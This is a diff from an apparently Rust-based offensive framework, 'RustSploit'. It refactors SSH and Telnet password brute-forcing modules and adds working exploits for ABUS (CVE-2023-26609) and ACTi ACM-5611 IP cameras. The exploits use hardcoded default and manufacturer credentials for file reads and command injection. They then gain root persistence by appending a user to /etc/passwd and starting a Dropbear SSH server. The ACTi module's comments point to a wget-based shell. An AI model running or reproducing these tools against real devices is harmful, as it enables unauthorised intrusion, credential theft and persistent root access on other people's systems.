+    if user_list.is_empty() {
+        println!("[!] Username wordlist is empty or invalid. Exiting.");
+        return Ok(());
+    }
+    let users = Arc::new(user_list);
 
-    let users = load_lines(&usernames_file)?;
     let pass_file = File::open(&passwords_file)?;
     let pass_buf = BufReader::new(pass_file);
-    let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
+    let pass_lines: Vec<String> = pass_buf
+        .lines()
+        .filter_map(|line| line.ok().map(|s| s.trim().to_string()))
+        .filter(|line| !line.is_empty())
+        .collect();
+    if pass_lines.is_empty() {
+        println!("[!] Password wordlist is empty or invalid. Exiting.");
+        return Ok(());
+    }
 
-    let mut idx = 0;
-    for pass in pass_lines {
+    let semaphore = Arc::new(Semaphore::new(concurrency));
+    let mut tasks = Vec::new();
+    let mut user_cycle_idx = 0;
+
+    for pass_str in pass_lines {
         if *stop.lock().await {
             break;
         }
 
-        let userlist = if combo_mode {
-            users.clone()
+        let users_for_current_pass: Box<dyn Iterator<Item = String>> = if combo_mode {
+            Box::new(users.iter().cloned())
         } else {
-            vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
+            if users.is_empty() {
+                Box::new(std::iter::empty())
+            } else {
+                let user = users[user_cycle_idx % users.len()].clone();
+                user_cycle_idx += 1;
+                Box::new(std::iter::once(user))
+            }
         };
 
-        let mut handles = vec![];
+        for user_str in users_for_current_pass {
+            if *stop.lock().await {
+                break;
+            }
 
-        for user in userlist {
-            let addr = addr.clone();
-            let user = user.clone();
-            let pass = pass.clone();
-            let found = Arc::clone(&found);
-            let stop = Arc::clone(&stop);
+            let permit = Arc::clone(&semaphore).acquire_owned().await?;
+            
+            let task_addr = connect_addr.clone();
+            let task_user = user_str;
+            let task_pass = pass_str.clone();
+            let found_clone = Arc::clone(&found);
+            let stop_clone = Arc::clone(&stop);
 
-            let handle = tokio::spawn(async move {
-                if *stop.lock().await {
+            let task = tokio::spawn(async move {
+                let _permit = permit;
+
+                if *stop_clone.lock().await {
                     return;
                 }
 
-                match try_ssh_login(&addr, &user, &pass).await {
+                match try_ssh_login(&task_addr, &task_user, &task_pass).await {
                     Ok(true) => {
-                        println!("[+] {} -> {}:{}", addr, user, pass);
-                        found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
+                        println!("[+] {} -> {}:{}", task_addr, task_user, task_pass);
+                        found_clone.lock().await.push((task_addr.clone(), task_user.clone(), task_pass.clone()));
                         if stop_on_success {
-                            *stop.lock().await = true;
+                            *stop_clone.lock().await = true;
                         }
                     }
                     Ok(false) => {
-                        log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
+                        log(verbose, &format!("[-] {} -> {}:{}", task_addr, task_user, task_pass));
                     }
                     Err(e) => {
-                        log(verbose, &format!("[!] {}: error: {}", addr, e));
+                        log(verbose, &format!("[!] {}: error: {}", task_addr, e));
                     }
                 }
-
                 sleep(Duration::from_millis(10)).await;
             });
-
-            handles.push(handle);
-
-            if handles.len() >= concurrency {
-                for h in handles.drain(..) {
-                    let _ = h.await;
-                }
-            }
+            tasks.push(task);
         }
+    }
 
-        for h in handles {
-            let _ = h.await;
-        }
-
-        idx += 1;
+    for task in tasks {
+        let _ = task.await;
     }
 
     let creds = found.lock().await;
@@ -124,11 +146,11 @@ pub async fn run(target: &str) -> Result<()> {
     } else {
         println!("\n[+] Valid credentials:");
         for (host, user, pass) in creds.iter() {
-            println!("    {} -> {}:{}", host, user, pass);
+            println!("     {} -> {}:{}", host, user, pass);
         }
 
-        if let Some(path) = save_path {
-            let filename = get_filename_in_current_dir(&path);
+        if let Some(path_str) = save_path {
+            let filename = get_filename_in_current_dir(&path_str);
             let mut file = File::create(&filename)?;
             for (host, user, pass) in creds.iter() {
                 writeln!(file, "{} -> {}:{}", host, user, pass)?;
@@ -140,23 +162,23 @@ pub async fn run(target: &str) -> Result<()> {
     Ok(())
 }
 
-async fn try_ssh_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
-    let addr = addr.to_string();
-    let user = user.to_string();
-    let pass = pass.to_string();
+async fn try_ssh_login(normalized_addr: &str, user: &str, pass: &str) -> Result<bool> {
+    let user_owned = user.to_string();
+    let pass_owned = pass.to_string();
+    let addr_owned = normalized_addr.to_string();
 
     let result = spawn_blocking(move || {
-        match TcpStream::connect(&addr) {
+        match TcpStream::connect(&addr_owned) {
             Ok(tcp) => {
-                let mut sess = Session::new()?; // ✅ fixed here
+                let mut sess = Session::new()?;
                 sess.set_tcp_stream(tcp);
                 sess.handshake()?;
-                match sess.userauth_password(&user, &pass) {
+                match sess.userauth_password(&user_owned, &pass_owned) {
                     Ok(_) => Ok(sess.authenticated()),
                     Err(_) => Ok(false),
                 }
             }
-            Err(e) => Err(anyhow!("Connection error: {}", e)),
+            Err(e) => Err(anyhow!("Connection error to {}: {}", addr_owned, e)),
         }
     })
     .await??;
@@ -164,26 +186,57 @@ async fn try_ssh_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
     Ok(result)
 }
 
-// === Utility Functions ===
+fn format_host_port(input: &str) -> Result<String> {
+    if input.starts_with('[') {
+        if let Some(end_bracket_idx) = input.find("]:") {
+            let host_part = &input[1..end_bracket_idx];
+            if !host_part.contains('[') && !host_part.contains(']') {
+                if (&input[end_bracket_idx+2..]).parse::<u16>().is_ok() {
+                     return Ok(input.to_string());
+                }
+            }
+        }
+    }
+
+    let (host_candidate, port_str) = match input.rfind(':') {
+        Some(idx) if idx > 0 => { // Ensure colon is not the first character
+            let (h, p) = input.split_at(idx);
+            (h, &p[1..]) // Strip colon from port part
+        }
+        _ => return Err(anyhow!("Invalid target address format: '{}' - missing port or malformed", input)),
+    };
+    
+    if port_str.parse::<u16>().is_err() {
+        return Err(anyhow!("Invalid port in address: '{}'", input));
+    }
+
+    let stripped_host = host_candidate.trim_matches(|c| c == '[' || c == ']');
+
+    if stripped_host.contains(':') {
+        Ok(format!("[{}]:{}", stripped_host, port_str))
+    } else {
+        Ok(format!("{}:{}", stripped_host, port_str))
+    }
+}
 
 fn prompt_required(msg: &str) -> Result<String> {
     loop {
-        print!("{}: ", msg);
-        std::io::Write::flush(&mut std::io::stdout())?;
+        print!("{}", format!("{}: ", msg).cyan().bold());
+        std::io::stdout().flush()?;
         let mut s = String::new();
         std::io::stdin().read_line(&mut s)?;
         let trimmed = s.trim();
         if !trimmed.is_empty() {
             return Ok(trimmed.to_string());
         } else {
-            println!("This field is required.");
+            println!("{}", "This field is required.".yellow());
         }
     }
 }
 
 fn prompt_default(msg: &str, default: &str) -> Result<String> {
-    print!("{} [{}]: ", msg, default);
-    std::io::Write::flush(&mut std::io::stdout())?;
+    print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
+    std::io::stdout().flush()?;
     let mut s = String::new();
     std::io::stdin().read_line(&mut s)?;
     let trimmed = s.trim();
@@ -195,10 +248,10 @@ fn prompt_default(msg: &str, default: &str) -> Result<String> {
 }
 
 fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
-    let default = if default_yes { "y" } else { "n" };
+    let default_char = if default_yes { "y" } else { "n" };
     loop {
-        print!("{} (y/n) [{}]: ", msg, default);
-        std::io::Write::flush(&mut std::io::stdout())?;
+        print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
+        std::io::stdout().flush()?;
         let mut s = String::new();
         std::io::stdin().read_line(&mut s)?;
         let input = s.trim().to_lowercase();
@@ -209,13 +262,14 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
         } else if input == "n" || input == "no" {
             return Ok(false);
         } else {
-            println!("Invalid input. Please enter 'y' or 'n'.");
+            println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
         }
     }
 }
 
 fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
-    let file = File::open(path)?;
+    let file = File::open(path.as_ref())
+        .map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
     let reader = BufReader::new(file);
     Ok(reader
         .lines()
@@ -230,11 +284,13 @@ fn log(verbose: bool, msg: &str) {
     }
 }
 
-fn get_filename_in_current_dir(input: &str) -> PathBuf {
-    let name = Path::new(input)
+fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
+    let path_candidate = Path::new(input_path_str)
         .file_name()
-        .unwrap_or_default()
-        .to_string_lossy()
-        .to_string();
-    PathBuf::from(format!("./{}", name))
+        .map(|os_str| os_str.to_string_lossy())
+        .filter(|s_cow| !s_cow.is_empty() && s_cow != "." && s_cow != "..")
+        .map(|s_cow| s_cow.into_owned())
+        .unwrap_or_else(|| "ssh_brute_results.txt".to_string());
+    
+    PathBuf::from(format!("./{}", path_candidate))
 }

src/modules/creds/generic/telnet_bruteforce.rs

@@ -1,11 +1,13 @@
 use anyhow::{Result, Context};
+use regex::Regex;
 use std::fs::{File, OpenOptions};
 use std::io::{self, BufRead, BufReader, Write};
-use std::net::ToSocketAddrs;
+use std::net::{TcpStream, ToSocketAddrs};
 use std::sync::{Arc, Mutex};
+use std::time::Duration;
 use telnet::Event;
 use threadpool::ThreadPool;
-use crossbeam_channel::{unbounded};
+use crossbeam_channel::unbounded;
 use telnet::Telnet;
 
 pub async fn run(target: &str) -> Result<()> {
@@ -16,9 +18,15 @@ pub async fn run(target: &str) -> Result<()> {
     let username_wordlist = prompt("Username wordlist file: ");
     let password_wordlist = prompt("Password wordlist file: ");
     let threads = prompt("Number of threads (default 8): ").parse().unwrap_or(8);
-    let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
-    let full_combo = prompt("Try every username with every password? (y/n): ").trim().eq_ignore_ascii_case("y");
-    let verbose = prompt("Verbose mode? (y/n): ").trim().eq_ignore_ascii_case("y");
+    let stop_on_success = prompt("Stop on first valid login? (y/n): ")
+        .trim()
+        .eq_ignore_ascii_case("y");
+    let full_combo = prompt("Try every username with every password? (y/n): ")
+        .trim()
+        .eq_ignore_ascii_case("y");
+    let verbose = prompt("Verbose mode? (y/n): ")
+        .trim()
+        .eq_ignore_ascii_case("y");
 
     let config = TelnetBruteforceConfig {
         target,
@@ -47,10 +55,11 @@ struct TelnetBruteforceConfig {
 }
 
 fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
-    let addr = format!("{}:{}", config.target, config.port);
+    // 1) Normalize & validate host:port
+    let addr = normalize_target(&config.target, config.port)
+        .context("Invalid target address")?;
     let socket_addr = addr
-        .to_socket_addrs()
-        .context("Invalid target address")?
+        .to_socket_addrs()?
         .next()
         .context("Unable to resolve target address")?;
 
@@ -64,61 +73,57 @@ fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
     let pool = ThreadPool::new(config.threads);
     let (tx, rx) = unbounded();
 
+    // 2) Build the combo queue
     if config.full_combo {
-        for user in &usernames {
-            for pass in &passwords {
-                tx.send((user.clone(), pass.clone()))?;
+        for u in &usernames {
+            for p in &passwords {
+                tx.send((u.clone(), p.clone()))?;
             }
         }
+    } else if usernames.len() == 1 {
+        for p in &passwords {
+            tx.send((usernames[0].clone(), p.clone()))?;
+        }
+    } else if passwords.len() == 1 {
+        for u in &usernames {
+            tx.send((u.clone(), passwords[0].clone()))?;
+        }
     } else {
-        if usernames.len() == 1 {
-            for pass in &passwords {
-                tx.send((usernames[0].clone(), pass.clone()))?;
-            }
-        } else if passwords.len() == 1 {
-            for user in &usernames {
-                tx.send((user.clone(), passwords[0].clone()))?;
-            }
-        } else {
-            println!("[!] Warning: Multiple usernames and passwords loaded, but full_combo is OFF. Trying first username with all passwords.");
-            for pass in &passwords {
-                tx.send((usernames[0].clone(), pass.clone()))?;
-            }
+        println!("[!] Multiple creds & full_combo=OFF → using first username.");
+        for p in &passwords {
+            tx.send((usernames[0].clone(), p.clone()))?;
         }
     }
-
     drop(tx);
 
+    // 3) Spawn workers
     for _ in 0..config.threads {
         let rx = rx.clone();
         let addr = addr.clone();
         let stop_flag = Arc::clone(&stop_flag);
         let creds = Arc::clone(&creds);
-        let config = config.clone();
+        let cfg = config.clone();
 
         pool.execute(move || {
-            while let Ok((username, password)) = rx.recv() {
+            while let Ok((user, pass)) = rx.recv() {
                 if *stop_flag.lock().unwrap() {
                     break;
                 }
-
-                if config.verbose {
-                    println!("[*] Trying {}:{}", username, password);
+                if cfg.verbose {
+                    println!("[*] Trying {}:{}", user, pass);
                 }
-
-                match try_telnet_login(&addr, &username, &password) {
+                match try_telnet_login(&addr, &user, &pass) {
                     Ok(true) => {
-                        println!("[+] Valid credentials: {}:{}", username, password);
-                        creds.lock().unwrap().push((username, password));
-
-                        if config.stop_on_success {
+                        println!("[+] Valid: {}:{}", user, pass);
+                        creds.lock().unwrap().push((user, pass));
+                        if cfg.stop_on_success {
                             *stop_flag.lock().unwrap() = true;
                             break;
                         }
                     }
                     Ok(false) => {}
                     Err(e) => {
-                        if config.verbose {
+                        if cfg.verbose {
                             eprintln!("[!] Error: {}", e);
                         }
                     }
@@ -126,25 +131,26 @@ fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
             }
         });
     }
-
     pool.join();
 
-    let creds = creds.lock().unwrap();
-    if creds.is_empty() {
+    // 4) Report & optional save
+    let found = creds.lock().unwrap();
+    if found.is_empty() {
         println!("[-] No valid credentials found.");
     } else {
         println!("\n[+] Found credentials:");
-        for (u, p) in creds.iter() {
+        for (u, p) in found.iter() {
             println!(" - {}:{}", u, p);
         }
-
-        let save = prompt("\n[?] Save credentials to file? (y/n): ");
-        if save.trim().eq_ignore_ascii_case("y") {
-            let filename = prompt("Enter filename to save: ");
-            if let Err(e) = save_results(&filename, &creds) {
-                eprintln!("[!] Failed to save results: {}", e);
+        if prompt("\n[?] Save to file? (y/n): ")
+            .trim()
+            .eq_ignore_ascii_case("y")
+        {
+            let file = prompt("Filename: ");
+            if let Err(e) = save_results(&file, &found) {
+                eprintln!("[!] Failed to save: {}", e);
             } else {
-                println!("[+] Results saved to '{}'", filename);
+                println!("[+] Results saved to '{}'", file);
             }
         }
     }
@@ -152,43 +158,55 @@ fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
     Ok(())
 }
 
+/// Attempt a single login, with 0.7 s connect+I/O timeout
 fn try_telnet_login(addr: &str, username: &str, password: &str) -> Result<bool> {
-    let mut connection = Telnet::connect((addr, 23), 256)
-        .context("Failed to connect to Telnet server")?;
+    // Resolve to SocketAddr
+    let socket = addr
+        .to_socket_addrs()?
+        .next()
+        .ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
 
-    let mut login_prompt_seen = false;
-    let mut pass_prompt_seen = false;
+    // Connect with 1500 ms timeout
+    let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(1500))
+        .context("Connection timed out")?;
+    // I/O timeout
+    stream
+        .set_read_timeout(Some(Duration::from_millis(1500)))
+        .context("Failed to set read timeout")?;
+    stream
+        .set_write_timeout(Some(Duration::from_millis(1500)))
+        .context("Failed to set write timeout")?;
 
+    // Wrap into Telnet
+    let mut connection = Telnet::from_stream(Box::new(stream), 256);
+
+    let mut login_seen = false;
+    let mut pass_seen = false;
     for _ in 0..10 {
-        let event = connection.read().context("Failed to read from Telnet")?;
-
-        match event {
-            Event::Data(buffer) => {
-                let output = String::from_utf8_lossy(&buffer).to_lowercase();
-
-                if !login_prompt_seen && (output.contains("login:") || output.contains("username")) {
-                    connection.write(format!("{}\n", username).as_bytes())?;
-                    login_prompt_seen = true;
-                } else if login_prompt_seen && !pass_prompt_seen && output.contains("password") {
-                    connection.write(format!("{}\n", password).as_bytes())?;
-                    pass_prompt_seen = true;
-                } else if pass_prompt_seen {
-                    // Look for signs of successful or failed login
-                    if output.contains("incorrect")
-                        || output.contains("failed")
-                        || output.contains("denied")
-                    {
-                        return Ok(false);
-                    } else if output.contains("last login")
-                        || output.contains("$")
-                        || output.contains("welcome")
-                        || output.contains("#")
-                    {
-                        return Ok(true);
-                    }
+        let event = connection.read().context("Read error or timeout")?;
+        if let Event::Data(buffer) = event {
+            let out = String::from_utf8_lossy(&buffer).to_lowercase();
+            if !login_seen && (out.contains("login:") || out.contains("username")) {
+                connection.write(format!("{}\n", username).as_bytes())?;
+                login_seen = true;
+            } else if login_seen && !pass_seen && out.contains("password") {
+                connection.write(format!("{}\n", password).as_bytes())?;
+                pass_seen = true;
+            } else if pass_seen {
+                if out.contains("incorrect")
+                    || out.contains("failed")
+                    || out.contains("denied")
+                {
+                    return Ok(false);
+                }
+                if out.contains("last login")
+                    || out.contains("$")
+                    || out.contains("#")
+                    || out.contains("welcome")
+                {
+                    return Ok(true);
                 }
             }
-            _ => {}
         }
     }
 
@@ -196,22 +214,50 @@ fn try_telnet_login(addr: &str, username: &str, password: &str) -> Result<bool>
 }
 
 fn read_lines(path: &str) -> Result<Vec<String>> {
-    let file = File::open(path).context(format!("Unable to open {}", path))?;
-    Ok(BufReader::new(file).lines().filter_map(Result::ok).collect())
+    let f = File::open(path).context(format!("Unable to open {}", path))?;
+    Ok(BufReader::new(f).lines().filter_map(Result::ok).collect())
 }
 
 fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
-    let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
+    let mut f = OpenOptions::new()
+        .create(true)
+        .write(true)
+        .truncate(true)
+        .open(path)?;
     for (u, p) in creds {
-        writeln!(file, "{}:{}", u, p)?;
+        writeln!(f, "{}:{}", u, p)?;
     }
     Ok(())
 }
 
-fn prompt(message: &str) -> String {
-    print!("{}", message);
+fn prompt(msg: &str) -> String {
+    print!("{}", msg);
     io::stdout().flush().unwrap();
-    let mut input = String::new();
-    io::stdin().read_line(&mut input).unwrap();
-    input.trim().to_string()
+    let mut buf = String::new();
+    io::stdin().read_line(&mut buf).unwrap();
+    buf.trim().to_string()
+}
+
+/// Enhanced IPv4/IPv6/domain normalizer & resolver
+fn normalize_target(host: &str, default_port: u16) -> Result<String> {
+    let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
+    let caps = re
+        .captures(host.trim())
+        .ok_or_else(|| anyhow::anyhow!("Invalid target format: {}", host))?;
+    let addr = caps.name("addr").unwrap().as_str();
+    let port = if let Some(m) = caps.name("port") {
+        m.as_str().parse::<u16>().context("Invalid port value")?
+    } else {
+        default_port
+    };
+    let formatted = if addr.contains(':') && !addr.contains('.') {
+        format!("[{}]:{}", addr, port)
+    } else {
+        format!("{}:{}", addr, port)
+    };
+    // Verify DNS/getaddrinfo
+    formatted
+        .to_socket_addrs()
+        .context(format!("Could not resolve {}", formatted))?;
+    Ok(formatted)
 }

src/modules/exploits/abus/abussecurity_camera_cve202326609variant1.rs

@@ -0,0 +1,153 @@
+// Exploit Title: ABUS Security Camera TVIP 20000-21150 - LFI, RCE and SSH Root Access
+// CVE: CVE-2023-26609
+// Author: d1g@segfault.net | Ported to Rust for RustSploit
+// PoC converted 1:1 from Bash to async Rust logic
+
+// Cargo.toml:
+// [dependencies]
+// anyhow = "1.0"
+// reqwest = { version = "0.11", features = ["blocking", "rustls-tls"] }
+// md5 = "0.7.0"
+
+use anyhow::{Result, anyhow};
+use md5;
+use reqwest::Client;
+use std::io::{self, Write};
+
+/// Wraps/bracket-sanitizes IPv6 addresses (and leaves IPv4/hostnames alone)
+fn format_host(raw: &str) -> String {
+    if raw.contains(':') {
+        // strip any number of existing brackets, then wrap once
+        let stripped = raw.trim_matches(|c| c == '[' || c == ']');
+        format!("[{}]", stripped)
+    } else {
+        raw.to_string()
+    }
+}
+
+/// Send authenticated LFI request
+async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()> {
+    let host = format_host(target);
+    let url = format!(
+        "http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
+        host, filepath
+    );
+    println!("[*] Sending LFI request to: {}", url);
+
+    let resp = client.get(&url).send().await?;
+    println!("[+] Status: {}", resp.status());
+    println!("[+] Body:\n{}", resp.text().await?);
+    Ok(())
+}
+
+/// Send authenticated RCE request with command injection
+async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
+    let host = format_host(target);
+    let url = format!(
+        "http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
+        host, cmd
+    );
+    println!("[*] Sending RCE request to: {}", url);
+
+    let resp = client.get(&url).send().await?;
+    println!("[+] Status: {}", resp.status());
+    println!("[+] Body:\n{}", resp.text().await?);
+    Ok(())
+}
+
+/// Stage 1: Generate SSH key
+async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
+    let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
+    println!("[*] Generating SSH key on target...");
+    exploit_rce(client, target, cmd).await
+}
+
+/// Stage 2: Inject a root user with an MD5-hashed password
+async fn inject_root_user(client: &Client, target: &str, password: &str) -> Result<()> {
+    // Compute lowercase-hex MD5 of the provided password
+    let hash = format!("{:x}", md5::compute(password));
+    println!("[*] MD5 hash of password: {}", hash);
+
+    // Build the echo command to append to /etc/passwd
+    let cmd = format!(
+        "echo%20d1g:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
+        hash
+    );
+    println!("[*] Injecting root user into /etc/passwd...");
+    exploit_rce(client, target, &cmd).await
+}
+
+/// Stage 3: Start Dropbear SSH server
+async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
+    let cmd = "/etc/dropbear/dropbear%20-E%20-F";
+    println!("[*] Starting Dropbear SSH server...");
+    exploit_rce(client, target, cmd).await
+}
+
+/// Combined SSH persistence exploit
+async fn persist_root_shell(client: &Client, target: &str, password: &str) -> Result<()> {
+    generate_ssh_key(client, target).await?;
+    inject_root_user(client, target, password).await?;
+    start_dropbear(client, target).await?;
+    println!("[+] Persistence complete! You can now SSH in with:");
+    println!(
+        "    sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\
+         -oHostKeyAlgorithms=+ssh-rsa d1g@{}",
+        password, target
+    );
+    Ok(())
+}
+
+/// Prompt user for mode, and dispatch accordingly
+async fn execute(target: &str) -> Result<()> {
+    let client = Client::builder()
+        .danger_accept_invalid_certs(true)
+        .build()?;
+
+    println!("[*] Exploit mode selection for target: {}", target);
+    println!("  [1] LFI");
+    println!("  [2] RCE");
+    println!("  [3] SSH Persistence");
+    print!("> ");
+    io::stdout().flush()?;
+
+    let mut choice = String::new();
+    io::stdin().read_line(&mut choice)?;
+    match choice.trim() {
+        "1" => {
+            print!("Enter file path to read (e.g. /etc/passwd): ");
+            io::stdout().flush()?;
+            let mut fp = String::new();
+            io::stdin().read_line(&mut fp)?;
+            exploit_lfi(&client, target, fp.trim()).await?;
+        }
+        "2" => {
+            print!("Enter command to execute (e.g. id): ");
+            io::stdout().flush()?;
+            let mut cmd = String::new();
+            io::stdin().read_line(&mut cmd)?;
+            exploit_rce(&client, target, cmd.trim()).await?;
+        }
+        "3" => {
+            // Ask for the desired password, hash it, and persist
+            print!("Enter desired password for new root user: ");
+            io::stdout().flush()?;
+            let mut pwd = String::new();
+            io::stdin().read_line(&mut pwd)?;
+            let pwd = pwd.trim();
+            if pwd.is_empty() {
+                return Err(anyhow!("Password cannot be empty"));
+            }
+            persist_root_shell(&client, target, pwd).await?;
+        }
+        _ => return Err(anyhow!("Invalid choice")),
+    }
+
+    Ok(())
+}
+
+/// Entry point for the RustSploit dispatch system
+pub async fn run(target: &str) -> Result<()> {
+    execute(target).await
+}
+

src/modules/exploits/abus/abussecurity_camera_cve202326609variant2.rs

@@ -0,0 +1,122 @@
+use anyhow::Result;
+use reqwest::Client;
+use std::io::{self, Write};
+use md5;
+
+/// Normalize IPv6 targets, collapsing any number of outer brackets
+/// and preserving an explicit port if one was given as `[...] : port`.
+fn normalize_target(raw: &str) -> String {
+    // Case: bracketed IPv6 with port, e.g. "[[::1]]:8080"
+    if raw.contains("]:") {
+        if let Some(idx) = raw.rfind("]:") {
+            let addr_raw = &raw[..idx];
+            let port = &raw[idx + 2..];
+            // strip ALL brackets from the address portion
+            let addr_inner = addr_raw
+                .trim_start_matches('[')
+                .trim_end_matches(']')
+                .to_string();
+            return format!("[{}]:{}", addr_inner, port);
+        }
+    }
+    // Otherwise, remove any outer brackets entirely...
+    let inner = raw
+        .trim_start_matches('[')
+        .trim_end_matches(']')
+        .to_string();
+    // ...and only re-wrap in brackets if it's a bare IPv6 (contains a colon).
+    if inner.contains(':') {
+        format!("[{}]", inner)
+    } else {
+        inner
+    }
+}
+
+/// Send a command using the vulnerable RCE endpoint
+async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
+    let normalized = normalize_target(target);
+    let url = format!(
+        "http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=inject;{}",
+        normalized, cmd
+    );
+    println!("[*] Sending RCE payload: {}", cmd);
+
+    let resp = client.get(&url).send().await?;
+    println!("[+] Status: {}", resp.status());
+    println!("[+] Response:\n{}", resp.text().await?);
+
+    Ok(())
+}
+
+/// Generate Dropbear SSH keys on the target system
+async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
+    let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
+    println!("[*] Generating Dropbear SSH key...");
+    exploit_rce(client, target, cmd).await
+}
+
+/// Inject a root user with a hashed password into /etc/passwd
+async fn inject_root_user(client: &Client, target: &str, user: &str, hash: &str) -> Result<()> {
+    let payload = format!(
+        "echo%20{}:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
+        user, hash
+    );
+    println!("[*] Injecting user '{}' with root privileges...", user);
+    exploit_rce(client, target, &payload).await
+}
+
+/// Start Dropbear SSH daemon
+async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
+    let cmd = "/etc/dropbear/dropbear%20-E%20-F";
+    println!("[*] Starting Dropbear SSH daemon...");
+    exploit_rce(client, target, cmd).await
+}
+
+/// Generate an MD5 hash of the given password
+fn generate_md5_hash(password: &str) -> String {
+    let digest = md5::compute(password.as_bytes());
+    format!("{:x}", digest)
+}
+
+/// Main interactive flow: get user/pass, hash it, and inject persistence
+async fn execute_flow(target: &str) -> Result<()> {
+    let client = Client::builder()
+        .danger_accept_invalid_certs(true)
+        .build()?;
+
+    println!("[*] Dropbear SSH persistence for target: {}", target);
+
+    print!("Enter username to inject: ");
+    io::stdout().flush()?;
+    let mut user = String::new();
+    io::stdin().read_line(&mut user)?;
+    let user = user.trim();
+
+    print!("Enter password (will be hashed): ");
+    io::stdout().flush()?;
+    let mut pass = String::new();
+    io::stdin().read_line(&mut pass)?;
+    let pass = pass.trim();
+
+    // Hash it!
+    let hash = generate_md5_hash(pass);
+    println!("[*] Generated MD5 hash: {}", hash);
+
+    // Run each step
+    generate_ssh_key(&client, target).await?;
+    inject_root_user(&client, target, user, &hash).await?;
+    start_dropbear(&client, target).await?;
+
+    println!("\n[+] Done. Try connecting with:");
+    println!(
+        "    sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \
+         -oHostKeyAlgorithms=+ssh-rsa {}@{}",
+        pass, user, target
+    );
+    Ok(())
+}
+
+/// Dispatcher entry-point for the auto-dispatch framework
+pub async fn run(target: &str) -> Result<()> {
+    execute_flow(target).await
+}

src/modules/exploits/abus/mod.rs

@@ -0,0 +1,2 @@
+pub mod abussecurity_camera_cve202326609variant1;
+pub mod abussecurity_camera_cve202326609variant2;

src/modules/exploits/acti/acm_5611_rce.rs

@@ -0,0 +1,79 @@
+use anyhow::{anyhow, Result};
+use reqwest::Client;
+use std::time::Duration;
+
+/// // Executes an RCE on ACTi ACM-5611 Video Camera using command injection
+/// // Reference:
+/// // - https://www.exploitalert.com/view-details.html?id=34128
+/// // - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
+
+/// // Exploit authors:
+/// // - Todor Donev <todor.donev@gmail.com>
+/// // - GH0st3rs (RouterSploit module)
+
+pub async fn run(target: &str) -> Result<()> {
+    let port = 8080; // // Default port
+
+    if check(target, port).await? {
+        println!("[+] Target seems vulnerable: {}:{}", target, port);
+
+        // // Simulated shell command execution
+        let cmd = "id"; // // You can change this to any test command
+        let output = execute(target, port, cmd).await?;
+        println!("[+] Executed '{}':\n{}", cmd, output);
+
+        // // You can extend this to implement full shell injection
+        // // shell(arch="armle", method="wget", location="/var/", exec_binary=...)
+    } else {
+        println!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port);
+    }
+
+    Ok(())
+}
+
+/// // Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
+async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
+    let url = format!("http://{}:{}/cgi-bin/test", target, port);
+    let client = Client::builder()
+        .timeout(Duration::from_secs(5))
+        .build()?;
+
+    let res = client
+        .get(&url)
+        .header("Content-Type", "application/x-www-form-urlencoded")
+        .header("Referer", format!("http://{}:{}", target, port))
+        .query(&[("iperf", format!(";{}", cmd))])
+        .send()
+        .await?;
+
+    if res.status().is_success() {
+        let text = res.text().await?;
+        Ok(text)
+    } else {
+        Err(anyhow!("Command execution failed, status code: {}", res.status()))
+    }
+}
+
+/// // Check if the target is running the vulnerable service
+async fn check(target: &str, port: u16) -> Result<bool> {
+    let url = format!("http://{}:{}/cgi-bin/test", target, port);
+    let index_url = format!("http://{}:{}/", target, port);
+    let client = Client::builder()
+        .timeout(Duration::from_secs(5))
+        .build()?;
+
+    // // Check /cgi-bin/test
+    let test_res = client.get(&url).send().await?;
+    if test_res.status().is_success() {
+        // // Check root page contains 'Web Configurator'
+        let index_res = client.get(&index_url).send().await?;
+        if index_res.status().is_success() {
+            let body = index_res.text().await?;
+            if body.contains("Web Configurator") {
+                return Ok(true);
+            }
+        }
+    }
+
